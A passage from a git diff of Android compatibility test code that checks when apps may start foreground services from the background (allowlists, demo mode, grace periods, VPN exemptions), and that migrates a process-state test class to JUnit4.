+            mOrigDeviceDemoMode = Settings.Global.getInt(mContext.getContentResolver(),
+                    Settings.Global.DEVICE_DEMO_MODE, 0); });
+
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            runWithShellPermissionIdentity(()-> {
+                Settings.Global.putInt(mContext.getContentResolver(),
+                        Settings.Global.DEVICE_DEMO_MODE, 1); });
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Now it can start FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            runWithShellPermissionIdentity(()-> {
+                Settings.Global.putInt(mContext.getContentResolver(),
+                        Settings.Global.DEVICE_DEMO_MODE, mOrigDeviceDemoMode); });
+        }
+    }
+
+    // At Context.startForegroundService() or Service.startForeground() calls, if the FGS is
+    // restricted by background restriction and the app's targetSdkVersion is at least S, the
+    // framework throws a ForegroundServiceStartNotAllowedException with error message.
+    @Test
+    @Ignore("The instrumentation is allowed to star FGS, it does not throw the exception")
+    public void testFgsStartFromBGException() throws Exception {
+        ForegroundServiceStartNotAllowedException expectedException = null;
+        final Intent intent = new Intent().setClassName(
+                PACKAGE_NAME_APP1, "android.app.stubs.LocalForegroundService");
+        try {
+            allowBgActivityStart("android.app.stubs", false);
+            enableFgsRestriction(true, true, null);
+            mContext.startForegroundService(intent);
+        } catch (ForegroundServiceStartNotAllowedException e) {
+            expectedException = e;
+        } finally {
+            mContext.stopService(intent);
+            allowBgActivityStart("android.app.stubs", true);
+        }
+        String expectedMessage = "mAllowStartForeground false";
+        assertNotNull(expectedException);
+        assertTrue(expectedException.getMessage().contains(expectedMessage));
+    }
+
+    /**
+     * Test a FGS can start from BG if the app is in the DeviceIdleController's AllowList.
+     */
+    @Test
+    public void testFgsStartAllowList() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // Add package to AllowList.
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "dumpsys deviceidle whitelist +" + PACKAGE_NAME_APP1);
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Now it can start FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            // Remove package from AllowList.
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "dumpsys deviceidle whitelist -" + PACKAGE_NAME_APP1);
+        }
+    }
+
+    /**
+     * Test temp allowlist types in BroadcastOptions.
+     */
+    @Test
+    public void testTempAllowListType() throws Exception {
+        testTempAllowListTypeInternal(TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED);
+        testTempAllowListTypeInternal(TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_ALLOWED);
+    }
+
+    private void testTempAllowListTypeInternal(int type) throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP2, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // Now it can start FGS.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            runWithShellPermissionIdentity(()-> {
+                final BroadcastOptions options = BroadcastOptions.makeBasic();
+                // setTemporaryAppAllowlist API requires
+                // START_FOREGROUND_SERVICES_FROM_BACKGROUND permission.
+                options.setTemporaryAppAllowlist(1000, type, REASON_UNKNOWN, "");
+                // Must use Shell to issue this command because Shell has
+                // START_FOREGROUND_SERVICES_FROM_BACKGROUND permission.
+                CommandReceiver.sendCommandWithBroadcastOptions(mContext,
+                        CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                        PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null,
+                        options.toBundle());
+            });
+            if (type == TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_ALLOWED) {
+                uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                waiter.doWait(WAITFOR_MSEC);
+                // Stop the FGS.
+                CommandReceiver.sendCommand(mContext,
+                        CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                        PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+                uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                        WatchUidRunner.STATE_CACHED_EMPTY);
+            } else if (type == TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED) {
+                // APP1 does not enter FGS state
+                try {
+                    waiter.doWait(WAITFOR_MSEC);
+                    fail("Service should not enter foreground service state");
+                } catch (Exception e) {
+                }
+            }
+        } finally {
+            uid1Watcher.finish();
+            uid2Watcher.finish();
+            // Sleep 10 seconds to let the temp allowlist expire so it won't affect next test case.
+            SystemClock.sleep(10000);
+        }
+
+    }
+
+    /**
+     * Test a FGS can start from BG if the process had a visible activity recently.
+     */
+    @LargeTest
+    @Test
+    public void testVisibleActivityGracePeriod() throws Exception {
+        ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP2, 0);
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+                WAITFOR_MSEC);
+        final String namespaceActivityManager = "activity_manager";
+        final String keyFgToBgFgsGraceDuration = "fg_to_bg_fgs_grace_duration";
+        final long[] curFgToBgFgsGraceDuration = {-1};
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Allow bg actvity start from APP1.
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                curFgToBgFgsGraceDuration[0] = DeviceConfig.getInt(
+                        namespaceActivityManager,
+                        keyFgToBgFgsGraceDuration, -1);
+                DeviceConfig.setProperty(namespaceActivityManager,
+                        keyFgToBgFgsGraceDuration,
+                        Long.toString(WAITFOR_MSEC), false);
+            });
+
+            testVisibleActivityGracePeriodInternal(uid2Watcher, "KEYCODE_HOME");
+            testVisibleActivityGracePeriodInternal(uid2Watcher, "KEYCODE_BACK");
+        } finally {
+            uid2Watcher.finish();
+            // Remove package from AllowList.
+            allowBgActivityStart(PACKAGE_NAME_APP1, false);
+            if (curFgToBgFgsGraceDuration[0] >= 0) {
+                SystemUtil.runWithShellPermissionIdentity(() -> {
+                    DeviceConfig.setProperty(namespaceActivityManager,
+                            keyFgToBgFgsGraceDuration,
+                            Long.toString(curFgToBgFgsGraceDuration[0]), false);
+                });
+            } else {
+                CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                        "device_config delete " + namespaceActivityManager
+                        + " " + keyFgToBgFgsGraceDuration);
+            }
+        }
+    }
+
+    private void testVisibleActivityGracePeriodInternal(WatchUidRunner uidWatcher, String keyCode)
+            throws Exception {
+        testVisibleActivityGracePeriodInternal(uidWatcher, keyCode, null,
+                () -> uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                                         WatchUidRunner.STATE_FG_SERVICE), true);
+
+        testVisibleActivityGracePeriodInternal(uidWatcher, keyCode,
+                () -> SystemClock.sleep(WAITFOR_MSEC + 2000), // Wait for the grace period to expire
+                () -> {
+                    try {
+                        uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                                WatchUidRunner.STATE_FG_SERVICE);
+                        fail("Service should not enter foreground service state");
+                    } catch (Exception e) {
+                        // Expected.
+                    }
+                }, false);
+    }
+
+    private void testVisibleActivityGracePeriodInternal(WatchUidRunner uidWatcher,
+            String keyCode, Runnable prep, Runnable verifier, boolean stopFgs) throws Exception {
+        // Put APP2 in TOP state.
+        CommandReceiver.sendCommand(mContext,
+                CommandReceiver.COMMAND_START_ACTIVITY,
+                PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+        uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
+
+        // Take a nap to wait for the UI to settle down.
+        SystemClock.sleep(2000);
+
+        // Now inject key event.
+        CtsAppTestUtils.executeShellCmd(mInstrumentation, "input keyevent " + keyCode);
+
+        // It should go to the cached state.
+        uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null);
+
+        if (prep != null) {
+            prep.run();
+        }
+
+        // Start FGS from APP2.
+        CommandReceiver.sendCommand(mContext,
+                CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                PACKAGE_NAME_APP2, PACKAGE_NAME_APP2, 0, null);
+
+        if (verifier != null) {
+            verifier.run();
+        }
+
+        if (stopFgs) {
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP2, 0, null);
+            uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null);
+        }
+    }
+
+    /**
+     * After background service is started, after 10 seconds timeout, the startForeground() can
+     * succeed or not depends on the service's app proc state.
+     * Test starService() -> startForeground()
+     */
+    @Test
+    public void testStartForegroundTimeout() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            setFgsStartForegroundTimeout(DEFAULT_FGS_START_FOREGROUND_TIMEOUT_MS);
+            Bundle extras = LocalForegroundService.newCommand(
+                    LocalForegroundService.COMMAND_START_NO_FOREGROUND);
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // bypass bg-service-start restriction.
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "dumpsys deviceidle whitelist +" + PACKAGE_NAME_APP1);
+            // start background service.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_START_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, extras);
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "dumpsys deviceidle whitelist -" + PACKAGE_NAME_APP1);
+            // Sleep after the timeout DEFAULT_FGS_START_FOREGROUND_TIMEOUT_MS
+            SystemClock.sleep(DEFAULT_FGS_START_FOREGROUND_TIMEOUT_MS + 1000);
+
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, extras);
+            // APP1 does not enter FGS state
+            // startForeground() is called after 10 seconds FgsStartForegroundTimeout.
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // Put app to a TOP proc state.
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_TOP, new Integer(PROCESS_CAPABILITY_ALL));
+            allowBgActivityStart(PACKAGE_NAME_APP1, false);
+
+            // Call startForeground().
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            extras = LocalForegroundService.newCommand(
+                    LocalForegroundService.COMMAND_START_FOREGROUND);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_START_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, extras);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
+                    LOCAL_SERVICE_PROCESS_CAPABILITY);
+            waiter.doWait(WAITFOR_MSEC);
+
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_STOP_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY,
+                    new Integer(PROCESS_CAPABILITY_NONE));
+        } finally {
+            uid1Watcher.finish();
+            setFgsStartForegroundTimeout(DEFAULT_FGS_START_FOREGROUND_TIMEOUT_MS);
+        }
+    }
+
+    /**
+     * After startForeground() and stopForeground(), the second startForeground() can succeed or not
+     * depends on the service's app proc state.
+     * Test startForegroundService() -> startForeground() -> stopForeground() -> startForeground().
+     */
+    @Test
+    public void testSecondStartForeground() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // bypass bg-service-start restriction.
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "dumpsys deviceidle whitelist +" + PACKAGE_NAME_APP1);
+            // start foreground service.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "dumpsys deviceidle whitelist -" + PACKAGE_NAME_APP1);
+
+            // stopForeground()
+            Bundle extras = LocalForegroundService.newCommand(
+                    LocalForegroundService.COMMAND_STOP_FOREGROUND_REMOVE_NOTIFICATION);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_START_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, extras);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_NONE));
+
+            // startForeground() again.
+            extras = LocalForegroundService.newCommand(
+                    LocalForegroundService.COMMAND_START_FOREGROUND);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_START_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, extras);
+            try {
+                uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // Put app to a TOP proc state.
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP,
+                    new Integer(PROCESS_CAPABILITY_ALL));
+            allowBgActivityStart(PACKAGE_NAME_APP1, false);
+
+            // Call startForeground() second time.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
+                    LOCAL_SERVICE_PROCESS_CAPABILITY);
+            waiter.doWait(WAITFOR_MSEC);
+
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY,
+                    new Integer(PROCESS_CAPABILITY_NONE));
+        } finally {
+            uid1Watcher.finish();
+        }
+    }
+
+    /**
+     * Test OP_ACTIVATE_VPN and OP_ACTIVATE_PLATFORM_VPN are exempted from BG-FGS-launch
+     * restriction.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartVpn() throws Exception {
+        testFgsStartVpnInternal("ACTIVATE_VPN");
+        testFgsStartVpnInternal("ACTIVATE_PLATFORM_VPN");
+    }
+
+    private void testFgsStartVpnInternal(String vpnAppOp) throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            setAppOp(PACKAGE_NAME_APP1, vpnAppOp, true);
+
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Now it can start FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "appops reset " + PACKAGE_NAME_APP1);
+        }
+    }
+
+    /**
+     * Turn on the FGS BG-launch restriction. DeviceConfig can turn on restriction on the whole
+     * device (across all apps). AppCompat can turn on restriction on a single app package.
+     * @param enable true to turn on restriction, false to turn off.
+     * @param useDeviceConfig true to use DeviceConfig, false to use AppCompat CHANGE ID.
+     * @param packageName the packageName if using AppCompat CHANGE ID.
+     * @throws Exception
+     */
+    private void enableFgsRestriction(boolean enable, boolean useDeviceConfig, String packageName)
+            throws Exception {
+        if (useDeviceConfig) {
+            runWithShellPermissionIdentity(() -> {
+                        DeviceConfig.setProperty("activity_manager",
+                                KEY_DEFAULT_FGS_STARTS_RESTRICTION_ENABLED,
+                                Boolean.toString(enable), false);
+                    }
+            );
+        } else {
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "am compat " + (enable ? "enable" : "disable")
+                            + " FGS_BG_START_RESTRICTION_CHANGE_ID " + packageName);
+        }
+    }
+
+    /**
+     * Clean up the FGS BG-launch restriction.
+     * @param packageName the packageName that will have its changeid override reset.
+     * @throws Exception
+     */
+    private void resetFgsRestriction(String packageName)
+            throws Exception {
+        CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                "am compat reset FGS_BG_START_RESTRICTION_CHANGE_ID " + packageName);
+    }
+
+    /**
+     * SYSTEM_ALERT_WINDOW permission will allow both BG-activity start and BG-FGS start.
+     * Some cases we want to grant this permission to allow activity start to bring the app up to
+     * TOP state.
+     * Some cases we want to revoke this permission to test other BG-FGS-launch exemptions.
+     * @param packageName
+     * @param allow
+     * @throws Exception
+     */
+    private void allowBgActivityStart(String packageName, boolean allow) throws Exception {
+        if (allow) {
+            PermissionUtils.grantPermission(
+                    packageName, android.Manifest.permission.SYSTEM_ALERT_WINDOW);
+        } else {
+            PermissionUtils.revokePermission(
+                    packageName, android.Manifest.permission.SYSTEM_ALERT_WINDOW);
+        }
+    }
+
+    private void setFgsStartForegroundTimeout(int timeoutMs) throws Exception {
+        runWithShellPermissionIdentity(() -> {
+                    DeviceConfig.setProperty("activity_manager",
+                            KEY_FGS_START_FOREGROUND_TIMEOUT,
+                            Integer.toString(timeoutMs), false);
+                }
+        );
+    }
+
+    private void setAppOp(String packageName, String opStr, boolean allow) throws Exception {
+        CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                "appops set " + packageName + " " + opStr + " "
+                        + (allow ? "allow" : "deny"));
+    }
 }
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 0de8c47..35021cf 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -19,18 +19,26 @@
 import static android.app.ActivityManager.PROCESS_CAPABILITY_ALL;
 import static android.app.ActivityManager.PROCESS_CAPABILITY_ALL_IMPLICIT;
 import static android.app.ActivityManager.PROCESS_CAPABILITY_FOREGROUND_LOCATION;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_NETWORK;
 import static android.app.ActivityManager.PROCESS_CAPABILITY_NONE;
 import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED;
 import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND;
 import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE;
 import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE;
 import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE;
+import static android.app.stubs.LocalForegroundService.ACTION_START_FGS_RESULT;
+import static android.app.stubs.LocalForegroundServiceSticky.ACTION_RESTART_FGS_STICKY_RESULT;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
 
 import android.accessibilityservice.AccessibilityService;
 import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.AppOpsManager;
 import android.app.Instrumentation;
+import android.app.Service;
 import android.app.cts.android.app.cts.tools.ServiceConnectionHandler;
 import android.app.cts.android.app.cts.tools.ServiceProcessController;
 import android.app.cts.android.app.cts.tools.SyncOrderedBroadcast;
@@ -39,6 +47,7 @@
 import android.app.cts.android.app.cts.tools.WatchUidRunner;
 import android.app.stubs.CommandReceiver;
 import android.app.stubs.LocalForegroundServiceLocation;
+import android.app.stubs.LocalForegroundServiceSticky;
 import android.app.stubs.ScreenOnActivity;
 import android.content.ComponentName;
 import android.content.Context;
@@ -46,7 +55,6 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ServiceInfo;
-import android.content.res.Configuration;
 import android.os.Build;
 import android.os.Bundle;
 import android.os.IBinder;
@@ -54,17 +62,29 @@
 import android.os.RemoteException;
 import android.os.SystemClock;
 import android.permission.cts.PermissionUtils;
+import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiSelector;
-import android.test.InstrumentationTestCase;
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AmMonitor;
 import com.android.compatibility.common.util.SystemUtil;
 
-public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.function.Consumer;
+
+@RunWith(AndroidJUnit4.class)
+@Presubmit
+public class ActivityManagerProcessStateTest {
     private static final String TAG = ActivityManagerProcessStateTest.class.getName();
 
     private static final String STUB_PACKAGE_NAME = "android.app.stubs";
@@ -104,6 +124,7 @@
     static final String ACTION_STOP_FOREGROUND = "com.android.test.action.STOP_FOREGROUND";
     static final String ACTION_START_THEN_FG = "com.android.test.action.START_THEN_FG";
     static final String ACTION_STOP_SERVICE = "com.android.test.action.STOP";
+    static final String ACTION_FINISH = "com.android.test.action.FINISH";
 
     private static final int TEMP_WHITELIST_DURATION_MS = 2000;
 
@@ -123,11 +144,9 @@
     private ApplicationInfo[] mAppInfo;
     private WatchUidRunner[] mWatchers;
 
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mContext = mInstrumentation.getContext();
         mTargetContext = mInstrumentation.getTargetContext();
         mServiceIntent = new Intent();
@@ -249,6 +268,7 @@
     /**
      * Test basic state changes as processes go up and down due to services running in them.
      */
+    @Test
     public void testUidImportanceListener() throws Exception {
         final Parcel data = Parcel.obtain();
         ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent,
@@ -421,6 +441,7 @@
      * Test that background check correctly prevents idle services from running but allows
      * whitelisted apps to bypass the check.
      */
+    @Test
     public void testBackgroundCheckService() throws Exception {
         final Parcel data = Parcel.obtain();
         Intent serviceIntent = new Intent();
@@ -588,6 +609,7 @@
      * Test that background check behaves correctly after a process is no longer foreground: first
      * allowing a service to be started, then stopped by the system when idle.
      */
+    @Test
     public void testBackgroundCheckStopsService() throws Exception {
         final Parcel data = Parcel.obtain();
